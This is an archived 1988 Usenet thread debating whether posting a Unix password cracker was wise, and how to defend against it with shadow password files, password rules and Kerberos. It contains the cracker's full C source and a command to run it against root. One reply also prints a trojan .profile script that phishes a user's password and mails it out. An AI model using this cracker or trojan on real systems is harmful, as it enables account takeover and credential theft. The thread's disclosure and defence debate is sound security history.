dnelson@ddsw1.UUCP (Douglas Nelson) (02/16/88)
Many people left me mail about this (simple) program that brute force hacks
at the /etc/passwd file on about any compiling unix using the /usr/dict/words
or any other type of dictionary file. Take a look at the source, as it is
quite simple, yet very effective:
Cut Here--------------------------------------------------------------
#include <stdio.h>
#include <pwd.h>
#include <signal.h>
struct passwd *pwd;
int len, abort(), endpwent();
char crbuf[30], *strcpy(), *crypt(), *getpass(), *getlogin(), *pw, pwbuf[10];
main(argc, argv)
int argc;
char *argv[];
{
FILE *fopen(), *fp;
char *uname;
signal(SIGINT,abort);
if (argc !=3) {
printf("usage : %s username pwfile\n",argv[0]);
exit(-1);
}
if (!(pwd =getpwnam(argv[1]))) {
printf("unknown user : %s\n",argv[1]);
exit(-1);
}
if ((fp = fopen(argv[2], "r")) == NULL) {
perror(argv[2]);
exit(-1);
}
sprintf(crbuf,"%s",pwd->pw_passwd);
printf("hacking %s\n",argv[1]);
printf("encrypted password : %s\n",crbuf);
while (fgets(pwbuf, 20, fp) != NULL) {
pwbuf[strlen(pwbuf)-1] = '\0';
pw = crypt(pwbuf,crbuf);
if (!strcmp(pw,crbuf)) {
printf("%s ==> %s\n",argv[1],pwbuf);
exit(0);
}
}
printf("done -- password not found.\n");
endpwent();
}
abort()
{
printf("aborted while trying '%s'\n",pwbuf);
exit(-1);
}
Cut Here--------------------------------------------------------------
...as you can see, it is quite simple, but amazingly effective. Compiles on
just about anything. I would imagine you could use 'nohup' if needed and
envoke it as a process and pipe output to a text file and run it overnight, ie:
$ nohup hpw root /usr/dict/words > pass.txt &
I'm always welcoming any private mail discussions on this type of thing!
-Doug
------------------
Douglas Nelson
dnelson@ddsw1.UUCP
------------------dkovar@lf-server-2.BBN.COM (David Kovar) (02/16/88)
I am not certain that posting this was the most intelligent idea you've ever had. I can forsee a lot of CPU cycles getting burned at colleges around the nation, a fair number of broken passwords, and a little bit of hassle at each site as one or two anti-social types decide to do something with their new found passwords. Handing a loaded gun to someone is usually not done, particularly if they are going to turn it on you or someone around you. Granted, the program is reasonably simple, but the average casually anti-social type will not be able to figure out how to write it (though he can figure out how to type "cc"). I'm not advocating that we all bury our head in the sands and ignore such issues. Discussing them in the open increases the general awareness of the problem, something that is badly needed, I'll admit. Distributing the code, though, will annoy some system administrators and really is not overly polite. This is not a religious issue for me and I could probably argue both sides of the issue. -David Kovar DKovar@BBN.COM
bobcoe@cca.CCA.COM (Robert K. Coe) (02/17/88)
In article <657@morningdew.BBN.COM> dkovar@BBN.COM (David Kovar) writes:
# I am not certain that posting this was the most intelligent idea you've
#ever had. I can forsee a lot of CPU cycles getting burned at colleges
#around the nation, a fair number of broken passwords, and a little bit
#of hassle at each site as one or two anti-social types decide to do
#something with their new found passwords.
# ...
# I'm not advocating that we all bury our head in the sands and ignore
#such issues. Discussing them in the open increases the general awareness
#of the problem, something that is badly needed, I'll admit. Distributing
#the code, though, will annoy some system administrators and really is
#not overly polite.
#
# This is not a religious issue for me and I could probably argue both
#sides of the issue.
I think the other side is that the antisocial types won't have a lot of trouble
getting their hands on the code in any case, and it only takes a few of them
to wreak havoc. The advantage of distributing the code is that it may shock
some users and system managers into defensive action; this cracking method
depends, after all, on the presence of stupidly chosen passwords. At our
(UNIX) site we have taken the obvious precaution of tuning the password
mechanism to forbid passwords that can be found in the commonly available
on-line dictionaries. All sites should, at a minimum, do likewise. Forthwith.
--
*> Robert K. Coe | bobcoe@cca.cca.com <*
*> Computer Corp. of America | [...!]{decvax,linus,mirror}!cca!bobcoe <*
*> 4 Cambridge Center | 617-492-8860, ext. 428 <*
*> Cambridge, Mass. 02142 | "Everyone should adopt a homeless dog." <*gwyn@brl-smoke.ARPA (Doug Gwyn ) (02/18/88)
In article <24582@cca.CCA.COM> bobcoe@CCA.CCA.COM.UUCP (Robert K. Coe) writes: >I think the other side is that the antisocial types won't have a lot of trouble >getting their hands on the code in any case, and it only takes a few of them >to wreak havoc. The advantage of distributing the code is that it may shock >some users and system managers into defensive action; this cracking method >depends, after all, on the presence of stupidly chosen passwords. At our >(UNIX) site we have taken the obvious precaution of tuning the password >mechanism to forbid passwords that can be found in the commonly available >on-line dictionaries. All sites should, at a minimum, do likewise. Forthwith. Much better is simply keeping the encrypted passwords in a file that is not publicly readable. The only essential checks are that the handful of most obvious passwords (same as account name, forward or reversed, single characters, etc.) are not used. There is not much problem with normal English words (in fact, there is some advantage in allowing them), so long as the only way for a guessing program to probe is to actually attempt to log in. By the way, genuine security must never rely on assumed ignorance or ineptness of the "opposition".
bem@homxc.UUCP (B.MCNAIR) (02/18/88)
In article <657@morningdew.BBN.COM>, dkovar@lf-server-2.BBN.COM (David Kovar) writes: > > I am not certain that posting this was the most intelligent idea you've > ever had. I can forsee a lot of CPU cycles getting burned at colleges > around the nation, a fair number of broken passwords, and a little bit > of hassle at each site as one or two anti-social types decide to do > something with their new found passwords. > > Handing a loaded gun to someone is usually not done, particularly if > they are going to turn it on you or someone around you. >. >. >. > > -David Kovar > DKovar@BBN.COM On the other hand, I think an illustration of the apparent simplicity of this attack should serve to demonstrate to EVERYONE the need to use nontrivial, nonobvious passwords. This attack fails if the passwords are not found in the dictionary or trivial modifications of the dictionary. Bruce McNair Bell Labs Holmdel, NJ
dnelson@ddsw1.UUCP (Douglas Nelson) (02/19/88)
Well, as B.MCNAIR mentioned, my posting of that [simple] program was to show how insecure the passwords on a unix system could be. Yes, perhaps there is going to be some CPU time on some systems out there due to my posting of this program, but my response to the worry of that would be "Any responsible user that would have any material that they would fell should not be compromized or accessed should pick a password a little more complex than 'apple' or 'shoe'. By simply requiring users to have a numeric digit in their password would totally defeat this brute-force hacker." Besides, I wouldn't hold you breath as to my short program being the one that is going to be wasting your CPU time. If you think that there might not have been any problems previous to this, you may have some worse security problems than this. I would bet that you would find a simular program on just about any campus that sports some type of unix or lookalike system. As always, I am always open to any comments, suggestions, or threats via mail. ------------------ Douglas Nelson dnelson@ddsw1.UUCP ------------------
pjs269@tijc02.UUCP (Paul Schmidt ) (02/19/88)
> > Many people left me mail about this (simple) program that brute force hacks > at the /etc/passwd file on about any compiling unix using the /usr/dict/words > or any other type of dictionary file. Take a look at the source, as it is > quite simple, yet very effective: > The program ... > > ...as you can see, it is quite simple, but amazingly effective. Compiles on > just about anything. I would imagine you could use 'nohup' if needed and > envoke it as a process and pipe output to a text file and run it overnight, ie: > > $ nohup hpw root /usr/dict/words > pass.txt & > > > > I'm always welcoming any private mail discussions on this type of thing! > > > -Doug > > > ------------------ > Douglas Nelson > dnelson@ddsw1.UUCP > ------------------ Our company has had the policy of assigning passwords and making them unchangeable to the employees. These passwords are totally random so that this technique will not work. When I first started working here I did not understand this philosophy. But, now I do. But, I rewrote the program to find the password by trying every combination of passwords that would be assigned by our company. After some quick benchmarks, I estimated it would take the program 28 years to find a single password on the system. The company changes the password every year so there is not much danger. But there may be a danger still. The danger may exist where there are alot of users on a UNIX system. Each encrypted password has a "salt" which is fed back into crypt. There are only 4096 different salt values. On a system that has a large number of users there may be a good possibility that more than one user has the same salt! Therefore a crypt hacker would be hacking at two passwords rather than one. This would reduce the expected time to find the password. The chances of breaking a password are small but they would still have the chance of being broken ( less than 1% but greater than 0.01% ). As computers get faster this will make them more and more vulnerable to this kind of attack. There are obvious ways for system administrators to detect crypt hackers. All they have to look for is CPU hogs. (That is, unless the hacker uses his own machine (PC) which will probably run alot slower and he needs the crypt() routine on that machine). Therefore, properly chosen passwords will currently almost gaurantee security on this brute force type attack. Paul Schmidt Texas Instruments
jonathan@pitt.UUCP (Jonathan Eunice) (02/21/88)
I second the opinion that posting the Unix Password Cracker is perhaps not the brightest idea someone's had in a while. The technique was well-known and discussed several times in sci.crypt, so providing a running program did not enlighten us in any substantial way. It just made it easier for casual users to try. Unix security is not terribly good to start with, and there's no sense in weakening it that much more. Locks are meant to keep honest people out; there's no sense in removing all the locks in your house just because criminals can get in anyway. On the other hand, it did raise some eyebrows. Distributed on a couple of Sun workstations, it managed to crank out a few users' passwords, including that of root (!), in a few hours. Just because a problem is NP-complete, or calculating it will take N years to run, etc, does not always stop you from finding useful solutions. The truth is that people do not choose proper passwords, do not change them often enough, and so on. I'm convinced that assigned passwords are a bad idea, because then people other than the account owner can gain access. Perhaps having the system require numbers and special characters in passwords is a good idea. Better yet, when the user sets a password, apply a heuristic to determine whether the desired password follows a distribution pattern similar to that of an English word, and deny that choice if so. ------------------------------------------------------------------------------ Jonathan Eunice ARPA: jonathan%pitt@relay.cs.net University of Pittsburgh jonathan%pitt@cadre.dsl.pittsburgh.edu Dept of Computer Science UUCP: jonathan@pitt.UUCP (412) 624-8836 BITNET: jonathan@pittvms.BITNET
jfc@athena.mit.edu (John F Carr) (02/21/88)
In article <203@tijc02.UUCP> pjs269@tijc02.UUCP (Paul Schmidt ) writes: >Our company has had the policy of assigning passwords and making them >unchangeable to the employees. These passwords are totally random so >that this technique will not work. When I first started working here >I did not understand this philosophy. But, now I do. [...] >There are obvious ways for system administrators to detect crypt hackers. >All they have to look for is CPU hogs. (That is, unless the hacker uses his >own machine (PC) which will probably run alot slower and he needs the crypt() >routine on that machine). Therefore, properly chosen passwords will currently >almost gaurantee security on this brute force type attack. > Paul Schmidt > Texas Instruments The problem with this method (random passwords) is that the user is much more likely to write down the password. I once worked at a company which put a lot of effort into security. They randomly determined passwords for the system accounts. They also had an operator who wrote down this random password to remember it. Had I wanted to, I could have done a lot of damage to the system (as the password belonged to several accounts on different machines). At the same time, I was debugging an assembly language program using a debugger set to trace every instruction. This caused a very high load for a legitimate reason (high load: CPU time almost as great as real time). Perhaps what we need is a better crypt(), though careful password selection will never hurt. --John Carr (jfc@ATHENA.MIT.EDU)
gwyn@brl-smoke.ARPA (Doug Gwyn ) (02/21/88)
The reason for letting users select their own passwords, apart from eliminating the opportunity for someone else to record what they are, is that they will choose passwords they can remember. Otherwise, you can bet that they'll be written down on little slips of paper, left in desk drawers or written on the desktop pad, etc. Security is actually enhanced by allowing users to pick ones they can remember. Combine this with instructions not to choose something easy for an intruder to guess, such as one's car license plate number, and that is good enough. But you still need to get those encrypted passwords OUT of the publicly-readable /etc/passwd file (replace them with an *). They should be in a separate file that only trusted processes can access for limited purposes (validating and changing the password). Such processes must be designed to take a fair amount of time, to make it infeasible to use them to probe the hidden file. Such an approach keeps a program like the one recently posted from working, while not affecting those programs that get other user information from /etc/passwd.
smb@ulysses.homer.nj.att.com (Steven Bellovin) (02/21/88)
Folks interested in cracking the UNIX password scheme should read "Password Security: A Case History", by Robert Morris and Ken Thompson. It appeared in Communications of the ACM 11/1979, Vol 22, No 11, pp 594-597. The same paper also appeared as one of the auxiliary documents distributed with Version 7 UNIX, and redistributed by Berkeley with their systems. Those who haven't yet read that paper may be surprised to learn that matching the password file against the dictionary isn't a new idea; it had appeared previously in what is quaintly called ``the literature''. And reading the literature before hacking is a remarkably useful idea.
madd@bu-cs.BU.EDU (Jim Frost) (02/22/88)
In article <2861@pitt.UUCP> jonathan@vax.cs.pittsburgh.edu.UUCP (Jonathan Eunice) writes: >Distributed on a couple of Sun workstations, it [UNIX password >cracker] managed to crank out a few users' passwords, including that >of root (!), in a few hours. I would suggest that having the root password be a simple english word is not good practice. A phrase or jumble of digits is much better and cannot be broken in this manner. jim frost madd@bu-it.bu.edu
todd@uop.edu (Dr. Nethack) (02/22/88)
At this site, there is more a problem of people walking away from their
terminals, and leaving!! This enables direct password changing, file
robbing, mail reading... etc.
In addition to that there are those who spend time picking passwords of
people they know, and it is fairly easy.
In other words, a "technical" attack is infrequent. Those who are good
enough crackers usually end up being TAs and thereby obtaining root access.
A buisness could be something different, say the TI example, where a
random password is assigned.
In another place I worked the new semester was the best time, as all
the new accounts had the password of "nopassword".
So if you played around, you could find some accounts by the lazy people
who did not bother to drop by the lab for the first two weeks.
-----------------------------------------------------------------------
+ uop!todd@uunet.uu.net +
+ cogent!uop!todd@lll-winken.arpa +
+ {backbone}!ucbvax!ucdavis!uop!todd +
-----------------------------------------------------------------------pjs269@tijc02.UUCP (Paul Schmidt ) (02/22/88)
> > Much better is simply keeping the encrypted passwords in a file that is > not publicly readable. The only essential checks are that the handful of > most obvious passwords (same as account name, forward or reversed, single > characters, etc.) are not used. There is not much problem with normal > English words (in fact, there is some advantage in allowing them), so long > as the only way for a guessing program to probe is to actually attempt to > log in. > Unfortunately you cannot do this in UNIX System V (as soon as you do, it is no longer System V). I don't know about other UNIX systems. "The IEEE Trial-Use Standard for Portable Operating System for Computer Environments" will also need read privelege on the password file. It seems some operating systems have ignored your suggestion in the past and will continue to do so. Paul Schmidt
gwyn@brl-smoke.ARPA (Doug Gwyn ) (02/23/88)
In article <205@tijc02.UUCP> pjs269@tijc02.UUCP (Paul Schmidt ) writes: >> Much better is simply keeping the encrypted passwords in a file that is >> not publicly readable. ... >Unfortunately you cannot do this in UNIX System V (as soon as you do, it >is no longer System V). I don't know about other UNIX systems. >"The IEEE Trial-Use Standard for Portable Operating System for Computer >Environments" will also need read privelege on the password file. It seems >some operating systems have ignored your suggestion in the past and will >continue to do so. You're wrong. The SVID permits an empty field in /etc/passwd with the real passwords stored elsewhere (I suggested "*" in the field, rather than empty, because currently an empty field is taken to mean that no password is required). IEEE 1003.1 (POSIX) no longer requires the password to be stored in /etc/passwd either. It seems some operating system specifiers agree with my suggestion now and will continue to do so.
kadie@uiucdcsb.cs.uiuc.edu (02/23/88)
> > Our company has had the policy of assigning passwords and making them > unchangeable to the employees. These passwords are totally random so > that this technique will not work. When I first started working here > I did not understand this philosophy. But, now I do. > ..... > > Paul Schmidt > Texas Instruments > It's ironic that TI worries about secure passwords on their Unix machines when their lisp workstations (and the lisp workstations of other makers) have no password protection at all. Given the network address of a lisp workstation you can read, delete, modify files from anywhere in world via ftp. Carl Kadie Inductive Learning Group University of Illinois at Urbana-Champaign UUCP: {ihnp4,pur-ee,convex}!uiucdcs!kadie CSNET: kadie@UIUC.CSNET ARPA: kadie@M.CS.UIUC.EDU (kadie@UIUC.ARPA)
trt@rti.UUCP (Thomas Truscott) (02/24/88)
In article <3111@bloom-beacon.MIT.EDU>, jfc@athena.mit.edu (John F Carr) writes: > The problem with this method (random passwords) is that the user is much > more likely to write down the password. Another problem with "randomly" generated passwords is that they are usually not as random as they appear to be. The Morris/Thompson "Password Security: A Case History" ACM paper (also in the standard UN*X documentation) discusses this. As another example, a couple of years ago someone posted a generator program that typically generated one of about 4000 different passwords. That is not all that hard to break! A good password generator program is certainly possible, but I am still waiting to see one. And then there is the problem with remembering them, as you say. Tom Truscott
roskos@csed-1.UUCP (Eric Roskos) (02/24/88)
In article <7317@brl-smoke.ARPA>, gwyn@brl-smoke.ARPA (Doug Gwyn ) writes: > In article <205@tijc02.UUCP> pjs269@tijc02.UUCP (Paul Schmidt ) writes: > >> Much better is simply keeping the encrypted passwords in a file that is > >> not publicly readable. ... > [Examples showing recent trends towards eliminating the password field.] > It seems some operating system specifiers agree with my suggestion now > and will continue to do so. It is also required by even the lowest level of the DOD Trusted Computer Systems Evaluation Criteria (C1). From section 2.1.2.1., "Identification and Authentication": "The TCB [Trusted Computing Base] shall protect authentication data so that it cannot be accessed by any unauthorized user." Disclaimer: The above is quoted from DOD 5200.28-STD, and is not meant to imply any interpretation of the standard. Unix is a trademark of AT&T. -- Eric Roskos, IDA (...dgis!csed-1!roskos or csed-1!roskos@HC.DSPO.GOV)
jkimble@crash.cts.com (Jim Kimble) (02/25/88)
In article <1118@uop.edu> todd@uop.edu (Dr. Nethack) writes: > >In another place I worked the new semester was the best time, as all >the new accounts had the password of "nopassword". > >So if you played around, you could find some accounts by the lazy people >who did not bother to drop by the lab for the first two weeks. > But what purpose does this serve? The first time the owners of the accounts try to login and find they can't, they're going to make a phone call to the data processing people who will just assign a new password right there over the phone. All this would really do is give you an additional UNIX account for a week or two. I doubt the students have any more access then anyone else. --Jim Kimble "I used to be into necrophillia, flagellation, and beastiality -- but my friends said I was just beating a dead horse." UUCP: {hplabs!hp-sdd, sdcsvax, nosc}!crash!jkimble ARPA: crash!jkimble@nosc INET: jkimble@crash.CTS.COM
merlin@hqda-ai.UUCP (David S. Hayes) (02/25/88)
In article <161200005@uiucdcsb>, kadie@uiucdcsb.cs.uiuc.edu writes: > Given the network address of > a lisp workstation you can read, delete, modify files from > anywhere in world via ftp. Actually, you can't do this all that easily. Symbolics, among others, has recognized this failing. The machine can be instructed to accept connections only from "trusted" machines, that is, machines known in advance to it. Normally, that will be only the other workstations on the office LAN. -- David S. Hayes, The Merlin of Avalon PhoneNet: (202) 694-6900 UUCP: *!uunet!cos!hqda-ai!merlin ARPA: ai01@hios-pent.arpa
pjs269@tijc02.UUCP (Paul Schmidt ) (02/25/88)
> You're wrong. The SVID permits an empty field in /etc/passwd with the > real passwords stored elsewhere (I suggested "*" in the field, rather > than empty, because currently an empty field is taken to mean that no > password is required). IEEE 1003.1 (POSIX) no longer requires the > password to be stored in /etc/passwd either. > > It seems some operating system specifiers agree with my suggestion now > and will continue to do so. You are right. POSIX says that "If the encoded password contains characters outside the 64-character alphabet, the meaning is implementation-dependent." (as of Nov 1987) The "*" in the password is then a good idea. Paul Schmidt
gwyn@brl-smoke.ARPA (Doug Gwyn ) (02/26/88)
In article <2584@crash.cts.com> jkimble@crash.CTS.COM (Jim Kimble) writes: >All this would really do is give you an additional UNIX account for a week >or two. I doubt the students have any more access then anyone else. # .profile replacement -- install this in the victim's home directory stty -echo echo 'For security, you must change your password immediately.' echo "Changing password for $LOGNAME." echo 'Old password:\c' read pwd echo 'New password:\c' read pwd echo 'Retype new password:\c' read pwd echo $LOGNAME $pwd | mail Gwyn@BRL.MIL # substitute your address echo 'Mismatch - try again.' stty echo passwd # this one is for real mv ..profile .profile # make this sneaky file go away
madd@bu-cs.BU.EDU (Jim Frost) (02/26/88)
In article <2584@crash.cts.com> jkimble@crash.CTS.COM (Jim Kimble) writes: >In article <1118@uop.edu> todd@uop.edu (Dr. Nethack) writes: >>In another place I worked the new semester was the best time, as all >>the new accounts had the password of "nopassword". >> >>So if you played around, you could find some accounts by the lazy people >>who did not bother to drop by the lab for the first two weeks. > >All this would really do is give you an additional UNIX account for a week >or two. I doubt the students have any more access then anyone else. Under UNIX, it's pitifully easy to build yourself trap-doors into an account if you have access for more than a few seconds, and not difficult to hide the fact that you have access, either. What difference would it make? Extra storage. Fall-guy when you want to try nasty stuff and not get caught. If you're in the same class as they, you would have access to their work. For many students, these are reasons enough. jim frost madd@bu-it.bu.edu
tsl@netsys.UUCP (Tom Livingston) (02/26/88)
In article <2584@crash.cts.com> jkimble@crash.CTS.COM (Jim Kimble) writes: >In article <1118@uop.edu> todd@uop.edu (Dr. Nethack) writes: >> >>In another place I worked the new semester was the best time, as all >>the new accounts had the password of "nopassword". >> >>So if you played around, you could find some accounts by the lazy people >>who did not bother to drop by the lab for the first two weeks. >> > >But what purpose does this serve? The first time the owners of the accounts >try to login and find they can't, they're going to make a phone call to the >data processing people who will just assign a new password right there over >the phone. Really? Now, first off, anybody who knew anything of what they were doing would not change the password, and just log in with it when they wanted to use it. Second -- This would be a definate opportunity for the more prankish to post rude messages, confuse things, and generally wreck havoc for the day (until it would be taken away due to those actions). Third -- They would assign a new password over the phone? I doubt this, as 'anyone' could just call up, claiming to be someone else, and have their password changed. Bingo, they have the account. > >All this would really do is give you an additional UNIX account for a week >or two. I doubt the students have any more access then anyone else. I believe the teachers would also get their passwords this way. Surely some of the less computer enthusiastic would not use thier accounts for the first week, if at all. At a school I was associated with, they had the policy of issuing accounts to all faculty. Now, I would say 1 in 10 of the faculty would actually use the accounts, the rest would be left unpassworded, even worse than all accounts having a 'nopassword' password. What made it even worse is that the other faculty didn't realise this, and would leave group read permissions set, even on things like tests and quizes... I know of some people who got A's before that was discovered :-) >--Jim Kimble _____________ / --/ __ _______ (_/ (_) / / / <_ Livingston { decuac,ihnp4 }!netsys!tsl
jik@athena.mit.edu (Jonathan I. Kamens) (02/26/88)
In article <2584@crash.cts.com> jkimble@crash.CTS.COM (Jim Kimble) writes: > >But what purpose does this serve? The first time the owners of the accounts >try to login and find they can't, they're going to make a phone call to the >data processing people who will just assign a new password right there over >the phone. > First, there is, of course, the previously mentioned hacks to the filesystem, such as the .profile hack to get a user's new password. This alone is enough to make the standard password assignment too dangerous to use. Second, the hacker could post to the Usenet under the stolen account, or send harrassing e-mail to other users on the system, etc., etc. Third, the hacker could do hacking-type things on the stolen account that he would never dare do on his own account, for fear of them showing up on the system log. For example, taking up massive amounts of CPU time hacking passwords that AREN'T "nopassword." Consider the following situation, though, which is what things are like here at Project Athena at MIT: we use a workstation/server system instead of a timesharing system. This means that each workstation is a unix machine in its own right (They each have separate Internet addresses, too.). Since any user can bring up a workstation in single-user mode by hitting the halt button and bringing it back up, the workstations are totally insecure; therefore, the root password is publicly available as part of Project Athena policy. This does not ruin network security, because everything outside of the workstation itself is kerberos-authenticated. However, it is a simply matter for an intelligent programmer (or even a not-so-intelligent one) to write a program (a shell-script, even) which pretends that it's a login window until a user types in his name and password, then mails the password to the hacker, then kills the hacker's shell automatically. Since workstations fail on login quite a bit when the network is operating slowly, the user would simply assume that login failed and login again, but by that point it is too late. So, we've given up a small amount of security by going to workstations. However, we are at a large advantage in the area of /etc/passwd hacking, because usernames and passwords DO NOT APPEAR anywhere at all that is user-accessible, and they are never sent over the network in plaintext as is done when telnet'ing or rlogin'ing. Instead, when a user types in his password it is encrypted and sent to the kerberos-server, which compares it with its (crypted) password entry for the user. If they match, the user passes, and if not, he hasd to login again. Personally, I think our way is safer. Unfortunately, most colleges can't afford 650 VAXstations and IBM PC/RT's to use for workstations. Of course, neither can MIT.... we got them on a grant. :-) -=> Jonathan I. Kamens | "There is no expedient to which man will not go MIT '91 | to avoid the real labor of thought." jik@ATHENA.MIT.EDU | -- Thomas Alva Edison
haddad@polya.STANFORD.EDU (Ramsey Haddad) (02/27/88)
In article <3234@bloom-beacon.MIT.EDU> jik@athena.mit.edu (Jonathan I. Kamens) writes: > However, we are at a large advantage in the area of >/etc/passwd hacking, because usernames and passwords DO NOT APPEAR >anywhere at all that is user-accessible, and they are never sent over >the network in plaintext as is done when telnet'ing or rlogin'ing. >Instead, when a user types in his password it is encrypted and sent to >the kerberos-server, which compares it with its (crypted) password >entry for the user. If they match, the user passes, and if not, he >hasd to login again. Whether passwords are sent over the network in plaintext or encrypted text is irrelevant. The server grants access when given the login string S. If someone eavesdrops on the net, stores string S and later plays back string S in order to gain access, it doesn't matter whether the string S is plaintext or encrypted. To get around this problem one needs to use public-key cryptography and an interactive login protocol. -- Ramsey W Haddad
wesommer@athena.mit.edu (William Sommerfeld) (02/27/88)
Jon Kamens' description of how Kerberos works was incorrect; I would bet that he hasn't read the paper... If you want an accurate, detailed description, see the Kerberos paper in the Winter '88 USENIX proceedings. In normal use (not counting password changes) the user's password never leaves the workstation, whether in the clear or encrypted. It only exists in the memory of the workstation for a few seconds; it is used only to get a `ticket granting ticket' with a different session key which expires after eight hours. In article <2085@polya.STANFORD.EDU> haddad@polya.UUCP (Ramsey Haddad) writes: >Whether passwords are sent over the network in plaintext or encrypted >text is irrelevant. ... >To get around this problem one needs to use public-key cryptography >and an interactive login protocol. You _DON'T_ need public key cryptography if you can trust a key distribution center to share a secret with you, and share a different secret with entities you want to communicate with. It also doesn't need to be `interactive' if you are only concerned with authenticating in one direction (that is, authenticating the client to the server, but not the reverse). Kerberos does support mutual authentication, but applications to date have typically not used it. You can protect against replays by using a (loosely) synchronized clock and including timestamp information in the authentication information. The clock synchronization information prevents long-term replays, since the authenticator built by the client expires after five minutes. The server could easily remember the last timestamp from each client and only allow new timestamps which come after the previous one; however, we haven't implemented this (yet). Assuming that system reboot time is on the order of ~10 minutes (and that the attacker hasn't subverted the time synchonization protocol), this means that the server doesn't need to preserve state across a crash. Incidentally, the Sun `secured' NFS uses the latter technique combined with a public key method to distribute (DES) session keys; some people from Sun seem interested in replacing their public key approach with Kerberos, which does the same thing and is more secure. - Bill
bks@unisoft.UUCP (Brian K. Shiratsuki) (02/28/88)
In article <203@tijc02.UUCP> pjs269@tijc02.UUCP (Paul Schmidt ) writes: >Our company has had the policy of assigning passwords and making them >unchangeable to the employees... >But there may be a danger still... >On a system that has a large number of users there may be a good possibility >that more than one user has the same salt!... an additional hazard is that random, assigned and unchangeable passwords with random characters in them are harder to remember, so users would be much more likely to write them down. it seems to me that making the passwd program less lenient as to what it will eventually accept as a password is a better idea than denying use of the program. -- brian
webber@athos.rutgers.edu (Bob Webber) (02/28/88)
In article <3234@bloom-beacon.MIT.EDU>, jik@athena.mit.edu (Jonathan I. Kamens) writes: > ... However, we are at a large advantage in the area of > /etc/passwd hacking, because usernames and passwords DO NOT APPEAR > anywhere at all that is user-accessible, and they are never sent over > the network in plaintext as is done when telnet'ing or rlogin'ing. > Instead, when a user types in his password it is encrypted and sent to > the kerberos-server, which compares it with its (crypted) password > entry for the user. If they match, the user passes, and if not, he > hasd to login again. Hmmm. Clearly this isn't the whole story. Sending the encrypted password down the pipe to be read and matched against an entry doesn't of itself add anything to security since anyone can duplicate a transmission of an encrypted password as easily as a raw password. In order to get security, besides encryption, you need some kind of handshaking protocol that allows the permission-granter to ascertain that the sender really knows the unencrypted password and is not just duplicating an intercepted encrypted transmission. Note that if you can monitor a users encrypted traffic, given the stereotyped nature of computer traffic, many attacks are possible. Does kerberos really address such issues? ------ BOB (webber@athos.rutgers.edu ; rutgers!athos.rutgers.edu!webber)
ka@june.cs.washington.edu (Kenneth Almquist) (02/28/88)
>>>> Much better is simply keeping the encrypted passwords in a file that is >>>> not publicly readable. ... > > It is also required by even the lowest level of the DOD Trusted Computer > Systems Evaluation Criteria (C1). From section 2.1.2.1., "Identification > and Authentication": "The TCB [Trusted Computing Base] shall protect > authentication data so that it cannot be accessed by any unauthorized user." In a traditional UN*X system with a publicly readable password file, the passwords *are* protected (at least allegedly) using encryption. Suggestions like the one of read protecting the password file *and* encrypting it raise a red flag for me. If the encryption scheme is good, then read protecting the passwords is unnecessary. Similarly, if the read protection on the password file really works, then encrypting the passwords is a waste of time. More generally, if there are two indepen- dent security checks on a system, and an intruder can subvert the first security check with effort E1 and the second security check with effort E1, then the total effort to crack the system is E1+E2. This is less than 2*max(E1, E2), so very little is lost by abandoning one of the two security checks. In fact, eliminating one of the security checks may make your system *more* secure. One reason is that simpler systems are more likely to be correct. More important is the discipline enforced by chosing one feature or the other. If you retain both features, then when you look at feature A and discover it is not really very good, you can figure that it doesn't matter because feature B will keep out any intruders who get past feature A. And then when you look at feature B you can ignore the holes in it on the assumption that feature A will keep in- truders from getting that far anyway. A system in which an intruder must bypass 2 or 3 ineffective security mechanisms is not much harder to penetrate than a system with only one ineffective security mechan- ism. The discipline of limiting yourself to one security mechanism is that it encourages you to design one that works. Kenneth Almquist ka@june.cs.washington.edu
jik@athena.mit.edu (Jonathan I. Kamens) (02/29/88)
In article <1043@athos.rutgers.edu> webber@athos.rutgers.edu (Bob Webber) writes: >In article <3234@bloom-beacon.MIT.EDU>, jik@athena.mit.edu (Jonathan >I. Kamens) writes: >> [my initial, partially incorrect explanation of kerberos] >Hmmm. Clearly this isn't the whole story. Sending the encrypted >password down the pipe to be read and matched against an entry doesn't >of itself add anything to security since anyone can duplicate a >transmission of an encrypted password as easily as a raw password. In >order to get security, besides encryption, you need some kind of >handshaking protocol that allows the permission-granter to ascertain >that the sender really knows the unencrypted password and is not just >duplicating an intercepted encrypted transmission. Note that if you >can monitor a users encrypted traffic, given the stereotyped nature of >computer traffic, many attacks are possible. You are totally correct, and my first explanation of kerberos' initial authentication was incorrect. Allow me to quote without permission from "Kerberos: An Authentication Service for Open Network Systems," a paper by Jennifer G. Steiner, Clifford Neuman and Jeffrey I. Schiller which was presented at the 1988 Usenix Conference held recently in Dallas, Texas. They say it much better than I could. Getting the Initial Ticket When the user walks up to a workstation, only one piece of information can prove her/his identity: the user's password. The initial exchange with the authentication server is designed to minimize the chance that the password will be compromised, while at the same time not allowing a user to properly authenticate her/himself without knowledge of that password. The process of logging in appears to the user to be the same as logging in to a timesharing system. Behind the scenes, though, it is quite different. The user is prompted for her/his username. Once it has been entered, a request is sent to the authentication server containing the user's name and the name of a special service known as the ticket-granting service. The authentication server checks that it knows about the client. If so, it generates a random session key which will later be used between the client and the ticket-granting server. It then creates a ticket for the ticket-granting server which contains the client's name, the name of the ticket-granting server, the current time, a lifetime for the ticket, the client's IP address, and the random session key just created. This is all encrypted in a key known only to the ticket-granting server and the authentication server. The authentication server then sends the ticket, along with a copy of the random session key and some additional information, back to the client. This response is encrypted in the client's private key, known only to kerberos and the client, which is derived from the user's password. Once the response has been received by the client, the user is asked for her/his password. The password is converted to a DES key and used to decrypt the response from the authentication server. The ticket and the session key, along with some of the other information, are stored for future use, and the user's password and DES key are erased from memory. Once the exchange has been completed, the workstation possesses information that it can use to prove the identity of its user for the lifetime of the ticket-granting ticket. As long as the software on the workstation had not been previously tampered with, no information exists that will allow someone else to impersonate the user beyond the life of the ticket. I hope this clarifies things. It is a little bit confusing, I admit. My error was in stating that the user's password travels over the network in DES-encrypted form. In fact, the password never travels over the net in any form at all. -=> Jonathan I. Kamens | "There is no expedient to which man will not go MIT '91 | to avoid the real labor of thought." jik@ATHENA.MIT.EDU | -- Thomas Alva Edison
madd@bu-cs.BU.EDU (Jim Frost) (02/29/88)
